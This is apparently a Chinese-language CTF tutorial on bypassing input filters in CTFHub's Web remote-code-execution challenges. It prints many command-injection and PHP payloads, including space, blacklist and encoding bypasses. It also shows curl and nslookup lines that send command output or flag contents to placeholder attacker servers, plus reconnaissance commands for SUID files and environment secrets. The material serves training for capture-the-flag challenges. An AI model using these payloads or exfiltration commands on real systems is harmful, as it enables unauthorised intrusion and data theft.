1. 项目概述为什么RCE是Web安全皇冠上的明珠在CTFCapture The Flag夺旗赛的Web安全赛道上远程代码执行RCE漏洞的挖掘与利用无疑是衡量一名选手技术深度的核心标尺。它不像SQL注入那样有固定的“ or 11--”模板也不像XSS那样可能被浏览器的XSS Auditor轻松拦截。RCE直接触及服务器的“大脑”——操作系统一旦成功意味着你拿到了服务器的最高权限可以读取任意文件、执行任意命令Flag自然手到擒来。CTFHub技能树中的RCE关卡正是为了系统性地训练选手绕过各种“枷锁”的能力而设计的。这些“枷锁”就是过滤规则。出题人会想尽办法用黑名单、正则匹配、字符串替换、命令分隔符禁用、空格过滤、代码执行函数禁用等手段把你最熟悉的system(‘ls’)或echo命令变成无效字符。通关的乐趣和挑战就在于如何在这些严苛的限制下利用你对操作系统、编程语言和Web协议的深刻理解像玩“华容道”一样巧妙地组合、变形、编码你的攻击载荷最终让服务器乖乖执行你的指令。这不仅仅是背几个Payload那么简单它要求你理解每一个过滤规则背后的逻辑并找到其思维盲区。接下来我将带你从零开始拆解CTFHub Web-RCE关卡中常见的过滤技巧并分享我实战中总结的绕过秘籍。2. 核心过滤机制与绕过思想总览在开始实战前我们必须先建立一套系统的绕过思想。出题人的过滤手段看似五花八门但归根结底都是对数据流和执行流的控制。我们的绕过本质上是在寻找这些控制机制中的“缝隙”。2.1 常见过滤类型解析关键词黑名单过滤这是最基础的过滤。例如直接过滤system、exec、passthru、eval、cat、flag、ls等敏感字符串。服务器端代码可能是str_replace(‘system’, ‘’, $_GET[‘cmd’])或preg_match(‘/system|exec/i’, $cmd)。命令分隔符与空格过滤阻止你执行多条命令或在命令中传递参数。常见被过滤的字符包括;、、、|、||、\n换行、反引号、$( )以及空格、$IFS等。字符编码与类型限制限制输入必须为数字、字母或对输入进行urlencode、base64解码后再过滤增加绕过的复杂度。执行函数禁用与限制在PHP中可能通过disable_functions禁用system、shell_exec等函数在Node.js或Python Web框架中可能对eval、os.system的使用有严格限制。无回显BlindRCE命令执行了但你看不到输出。你需要通过时间盲注sleep命令、DNS外带、HTTP请求外带等方式将命令执行的结果“带”出来。2.2 核心绕过思想变形、替代与链式组合基于以上过滤我们的绕过策略可以总结为三个核心思想变形让“敏感词”看起来不再是“敏感词”。例如通过大小写变换SyStEm、字符串拼接”sy”.”stem”、插入特殊字符sy\stem、syst$em、编码base64、hex、rot13等方式。替代寻找功能相同或相似的“替身”。system被禁了试试passthru、proc_open、popen。cat被禁了试试tac、more、less、head、tail、nl甚至grep、awk、sed。链式组合利用未被过滤的“元字符”和语法组合出执行能力。例如用$()或反引号执行子命令用.点号执行文件用*通配符匹配文件用?匹配单个字符用{cat,flag.php}进行花括号扩展。理解了这些思想我们就有了作战地图。下面我们进入实战环节逐一拆解CTFHub中的典型关卡。3. 实战关卡一基础命令注入与空格绕过假设我们遇到一个最简单的RCE场景一个Web页面有一个cmd参数用于执行ping命令后端代码可能如下?php $cmd $_GET[‘cmd’]; system(“ping -c 1 “ . $cmd); ?我们的目标是利用这个ping命令执行我们自己的命令比如ls。第一步探测分隔符我们尝试注入127.0.0.1; ls如果成功服务器会先执行ping -c 1 127.0.0.1然后执行ls。分号;在Linux中是命令顺序执行的分隔符。第二步绕过空格过滤如果出题人过滤了空格我们的ls -la就会失效。这时就需要替代方案使用$IFS在Linux shell中$IFS是内部字段分隔符默认包含空格、制表符、换行符。ls$IFS-la等同于ls -la。使用${IFS}这是更稳妥的写法避免了解析歧义。ls${IFS}-la。使用重定向符catflag.php利用输入重定向后面紧跟文件名可以不加空格。使用花括号{}{ls,-la}。花括号扩展会将内部内容展开为命令和参数。使用Tab键的URL编码%09在某些情况下过滤了空格但没过滤Tab。ls%09-la。实操心得$IFS绕过非常常见但要注意有时出题人会连$IFS一起过滤。此时可以尝试IFS的截断或编码如$IFS利用反引号执行子命令产生一个空格或者直接使用%20空格的URL编码如果服务器解码较晚的话。第三步获取输出如果页面只显示ping的结果不显示ls的结果这就是一个无回显RCE。我们需要用外带技术。DNS外带; curlwhoami.your-dns-log.com。如果whoami命令输出是root则会发起对root.your-dns-log.com的DNS查询我们在DNS日志中就能看到root。HTTP请求外带; curl http://your-server.com/cat flag.php | base64。将flag内容base64编码后作为URL的一部分或参数发送到你的服务器。时间盲注; sleep 5。如果页面响应延迟了5秒说明命令执行成功。可以结合if语句进行布尔盲注; if [ $(whoami) “root” ]; then sleep 5; fi。4. 实战关卡二黑名单过滤与字符串拼接绕过这一关出题人加强了过滤使用了黑名单。假设后端代码如下?php $cmd $_GET[‘cmd’]; $blacklist array(‘system’, ‘exec’, ‘passthru’, ‘shell_exec’, ‘cat’, ‘flag’, ‘ls’, ‘ ‘); $cmd str_replace($blacklist, ‘’, $cmd); eval(“echo \”Result: \”; ” . $cmd); ?注意这里用了str_replace而且是循环替换。输入syystemstem会被依次替换成system再变成空。简单的双写绕过可能失效。同时空格也被过滤了。绕过策略利用PHP语法特性进行拼接和替代字符串拼接PHP中点号.是字符串连接符。Payload:?cmdecho “syst”.”em”(“whoami”);经过过滤system被删掉但syst和em单独都不在黑名单中。拼接后形成system函数。注意这里我们直接执行了system(“whoami”)因为eval执行了我们的代码。利用未过滤的函数system被禁但passthru、proc_open、popen可能还在。尝试?cmdpassthru(“whoami”);反引号执行操作符在PHP中反引号等同于shell_exec。Payload:?cmdechowhoami;但注意反引号本身可能被过滤。如果被过滤可以尝试chr()函数拼接。反引号的ASCII码是96。Payload:?cmdecho (chr(96).whoami.chr(96));利用include/require包含恶意文件如果能控制一个文件路径可以尝试包含一个写入Webshell的日志文件或者利用php://input流。Payload:?cmdinclude$_POST[0];然后POST body里传0php://input并在HTTP Body中写入?php system(“whoami”);?。这需要allow_url_include为On但CTF中常作为考点。无字母数字WebShell当过滤极其严格只允许数字和某些符号时就需要用到这种高级技巧。核心是利用PHP中两个字符串进行异或^、或|、与运算后可以得到新的字符串。例如我们可以构造$_GET[1]($_GET[2])这样的代码动态执行函数。通过精心构造可以用非字母数字的字符拼出_GET等关键字。这类题目通常有现成的工具如php -r生成或脚本但理解其原理利用的是PHP的弱类型和位运算特性至关重要。注意事项在尝试字符串拼接时一定要注意PHP代码的上下文。我们的Payload最终是要被拼接进一个eval语句或类似环境中。因此闭合引号、添加分号、避免语法错误是关键。多使用var_dump(scandir(‘.’))来查看目录比盲目cat更有效。5. 实战关卡三编码与特殊字符绕过有些关卡会对输入进行解码或限制字符类型。例如题目可能先对输入进行base64_decode然后再执行。场景参数?cmdY2F0IC9mbGFn即cat /flag的base64编码可以执行成功。但直接输入cat /flag会被过滤。绕过方法多重编码如果只进行一次base64_decode我们可以尝试先对Payload进行两次base64编码。但前提是服务器代码逻辑是eval(base64_decode($_GET[‘cmd’]))。如果它只解码一次我们双重编码的Payload解码一次后还是一段编码无法执行。Hex编码PHP中hex2bin()函数可以将16进制字符串转换为二进制数据。我们可以构造?cmdhex2bin(“73797374656d282777686f616d6927293b”)即system(‘whoami’);的hex。利用.点号执行文件在Linux中点号加空格后跟文件路径会执行该文件。如果我们可以上传一个内容为#!/bin/bash的脚本文件或者直接有一个二进制文件可以用./filename来执行。配合通配符*可以匹配文件。例如当前目录只有一个名为f1ag的文件那么./*或cat *就能读到它。通配符?和*的妙用当你知道flag文件名的一部分时通配符是神器。假设flag文件是flag_abc123.txt但flag被过滤。Payload:cat fla*或cat fla???bc*.txt。甚至可以用/bin/cat fla*来调用绝对路径下的cat命令。一个综合案例过滤了空格、cat、flag并且限制了输入只能为数字和字母。目标读取/flag文件。思路使用$IFS绕过空格/???/cat$IFS/???/fla?。这里/???/cat匹配了/bin/cat/???/fla?可能匹配/tmp/flag或/var/flag等。如果cat也被严格过滤可以用tac、more、less、head -c 100 /flag、tail -c 100 /flag或者直接用grep正则匹配grep -r “CTFHub{“ / 2/dev/null在全盘搜索包含CTFHub{的文件。如果命令执行函数都被disable_functions禁了就要考虑利用PHP内置函数读文件?cmdecho file_get_contents(‘/flag’);或highlight_file(‘/flag’);。甚至可以用SplFileObject等类。6. 实战关卡四利用环境变量与通配符的无数字母命令这是RCE绕过中的“炫技”环节也是理解Linux Shell深度的体现。目标是在不使用任何字母和数字的情况下构造出可执行的命令。核心原理Linux中的特殊变量$0当前Shell或脚本的名称。$?上一条命令的退出状态码。$$当前Shell的进程ID。$、$*所有位置参数。$#位置参数的个数。$SHLVLShell嵌套层级。利用这些变量通过截取:~和替换/运算构造出我们需要的字符。利用通配符/???/???匹配系统命令如/bin/cat。一个经典的构造/bin/cat的例子假设在Bash环境下 我们很难直接构造出字母。但我们可以利用已存在的环境变量。例如$PATH变量通常是/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin。 我们可以通过${PATH:5:1}来截取得到/。但这里还是用了数字5。 更纯粹的方法是使用${#?}。$?默认是0${#?}是$?值的长度也就是1。那么${#?}的值就是数字1。 我们可以用$((${##}${##}))这样的位运算来得到更大的数字进而用于截取。但过程非常复杂。更实用的方法利用/bin/base64或/usr/bin/wc等命令本身如果我们能执行一个命令即使这个命令不是cat我们也可以用它来间接达成目标。例如用/???/b?se64 /fla?将flag文件base64编码后输出我们再解码。用/usr/bin/wc -c /fla?统计flag文件的字节数虽然看不到内容但可以用于盲注判断。避坑技巧这类题目通常作为“终极挑战”出现。在实战CTF中如果遇到极其严格的过滤不要一头扎进“无字母数字”的构造中先检查是否有其他更简单的漏洞链比如文件包含、反序列化、模板注入等。RCE绕过是手段不是目的拿到flag才是目的。7. 常见问题排查与实战心得在实战中你一定会遇到各种意想不到的情况。下面是我总结的一些常见问题与排查思路问题1Payload明明在本地测试成功在题目环境却无效。排查点1空格与换行符。URL中的空格有时会被转成有时是%20。换行符\n在URL中需要编码为%0a。在Burp Suite里直接粘贴\n可能不行要在Hex视图里修改。排查点2命令执行的环境。你的Payload是在什么用户、什么Shell下执行的是sh、bash还是dashbash下$IFS好用但dash可能不支持某些语法。可以用?cmdwhich bash和?cmdecho $0来探测。排查点3权限问题。你执行命令的用户可能是www-data权限很低无法读取/flag或/root/flag。尝试找找当前目录、/tmp目录、Web目录下的文件或者用find / -name “*flag*” -readable 2/dev/null查找有读权限的flag文件。问题2命令执行了但没有任何回显。策略1时间盲注。使用sleep命令判断是否执行成功这是最基础的判断。策略2外带数据。这是必须掌握的技能。准备一个公网服务器或使用dnslog.cn、ceye.io、burpcollaborator.net等外带平台。用curl、wget、ping甚至nslookup将命令结果带出来。例如; curl http://your-server.com/whoami更隐蔽的; nslookupcat /flag | base64.your-domain.com在DNS查询日志中查看子域名。策略3写入Web目录。如果能将命令结果写入Web目录下的一个文件就可以通过浏览器访问。; whoami /var/www/html/result.txt。问题3遇到Windows服务器怎么办CTF中Web服务器以Linux为主但偶尔也有Windows。命令分隔符从;变成了、、|、||。路径分隔符是\。查看目录用dir而不是ls。空格绕过可以用%ProgramFiles:~10,1%会得到一个空格等技巧但更常用的是powershell命令。我的实战心得保持思维发散不要局限于一种绕过方法。当一种方法失败时立即切换到另一种思路。从简单的;、开始尝试逐步升级到编码、拼接、无字母数字。善用侦察命令在拿到有限RCE后第一时间不是找flag而是侦察环境。?cmdwhoami当前用户?cmdpwd当前目录?cmdls -la或?cmddir查看文件?cmdenv或?cmdset查看环境变量可能有数据库密码等?cmdps aux查看进程可能发现其他服务?cmdfind / -perm -4000 2/dev/null查找SUID文件可能用于提权工具是辅助思维是根本虽然有一些自动化工具如commix可以辅助探测和利用命令注入但在CTF中尤其是需要绕过的关卡手动构造和理解Payload的过程是无法替代的。这能极大提升你在真实渗透测试中的应变能力。注意Payload的闭合与转义在构造注入到现有命令中的Payload时要时刻注意你是否闭合了原来的引号你的特殊字符如$、、”是否会被转义。多使用反斜杠\来转义自身或者尝试用不同的引号组合。最后CTFHub的RCE技能树是一个非常好的训练场。从基础到进阶关卡设计基本覆盖了常见的过滤场景。我建议的练习路径是先独立完成每一关卡住时不要马上看Writeup而是根据错误信息或回显结合本文提到的绕过思想自己尝试多种可能性。实在无法解决时再看Writeup学习新思路并理解其原理。这样一轮下来你对RCE绕过的敏感度和实战能力会有质的飞跃。记住每一个过滤规则背后都是出题人给你设下的一个谜题而你的知识库和创造力就是解开谜题的唯一钥匙。